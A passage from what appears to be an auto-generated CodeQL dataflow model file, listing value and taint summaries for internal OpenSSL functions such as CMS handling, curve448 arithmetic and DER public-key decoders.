CMS_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_RecipientInfo_kari_init", "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_cms_SignedData_final", "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignedData_final", "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_cert_cmp", "(CMS_SignerIdentifier *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_cert_cmp", "(CMS_SignerIdentifier *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_get0_signer_id", "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)", "", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_SignerIdentifier_get0_signer_id", "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)", "", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_libctx", "(const CMS_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_libctx", "(const CMS_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_propq", "(const CMS_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_ctx_get0_propq", "(const CMS_CTX *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_encode_Receipt", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*].Field[**data].Field[**originatorSignatureValue]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_encode_Receipt", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*signature]", "ReturnValue[*].Field[**data].Field[*originatorSignatureValue]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_get0_auth_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_auth_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_cmsctx", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_get0_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get0_enveloped", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cms_get1_certs_ex", "(CMS_ContentInfo *,stack_st_X509 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_get1_crls_ex", "(CMS_ContentInfo *,stack_st_X509_CRL **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_ias_cert_cmp", "(CMS_IssuerAndSerialNumber *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_keyid_cert_cmp", "(ASN1_OCTET_STRING *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cms_set1_SignerIdentifier", "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_SignerIdentifier", "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)", "", "Argument[2]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_ias", "(CMS_IssuerAndSerialNumber **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_set1_keyid", "(ASN1_OCTET_STRING **,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_set1_keyid", "(ASN1_OCTET_STRING **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cms_sign_encrypt", "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cms_sign_encrypt", "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_core_bio_new_from_bio", "(BIO *)", "", "Argument[0]", "ReturnValue[*].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[**bio].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[**bio].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_read_ex", "(OSSL_CORE_BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_core_bio_vprintf", "(OSSL_CORE_BIO *,const char *,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_ex_data_get_ossl_lib_ctx", "(const CRYPTO_EX_DATA *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_ex_data_get_ossl_lib_ctx", "(const CRYPTO_EX_DATA *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_get_ex_new_index_ex", "(OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_new_ex_data_ex", "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)", "", "Argument[*0]", "Argument[*3].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_new_ex_data_ex", "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)", "", "Argument[0]", "Argument[*3].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_join", "(void *,CRYPTO_THREAD_RETVAL *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_thread_native_join", "(CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[**1]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[0]", "ReturnValue[*].Field[*routine]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_native_start", "(CRYPTO_THREAD_ROUTINE,void *,int)", "", "Argument[2]", "ReturnValue[*].Field[*joinable]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[**2]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[1]", "ReturnValue[*].Field[*routine]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_thread_start", "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)", "", "Argument[2]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_crypto_xts128gb_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ctrl_internal", "(SSL *,int,long,void *,int)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ctx_global_properties", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_ctx_global_properties", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_base_double_scalarmul_non_secret", "(curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "Argument[*0].Field[*t].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "Argument[*0].Field[*y].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "Argument[*0].Field[*t].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "Argument[*0].Field[*y].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio", "(curve448_point_t,const uint8_t[57])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_double", "(curve448_point_t,const curve448_point_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[*1].Field[*x].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[*1].Field[*y].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa", "(uint8_t[57],const curve448_point_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_x448", "(uint8_t[56],const curve448_point_t)", "", "Argument[*1].Field[*y].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_mul_by_ratio_and_encode_like_x448", "(uint8_t[56],const curve448_point_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_point_valid", "(const curve448_point_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_precomputed_scalarmul", "(curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_curve448_scalar_add", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_add", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode", "(curve448_scalar_t,const unsigned char[56])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_decode_long", "(curve448_scalar_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_encode", "(unsigned char[56],const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_halve", "(curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_mul", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_mul", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_sub", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_curve448_scalar_sub", "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DH_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DHx_PUBKEY", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_ED448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PUBKEY_legacy", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_PrivateKey_legacy", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X25519_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X448_PUBKEY", "(ECX_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char 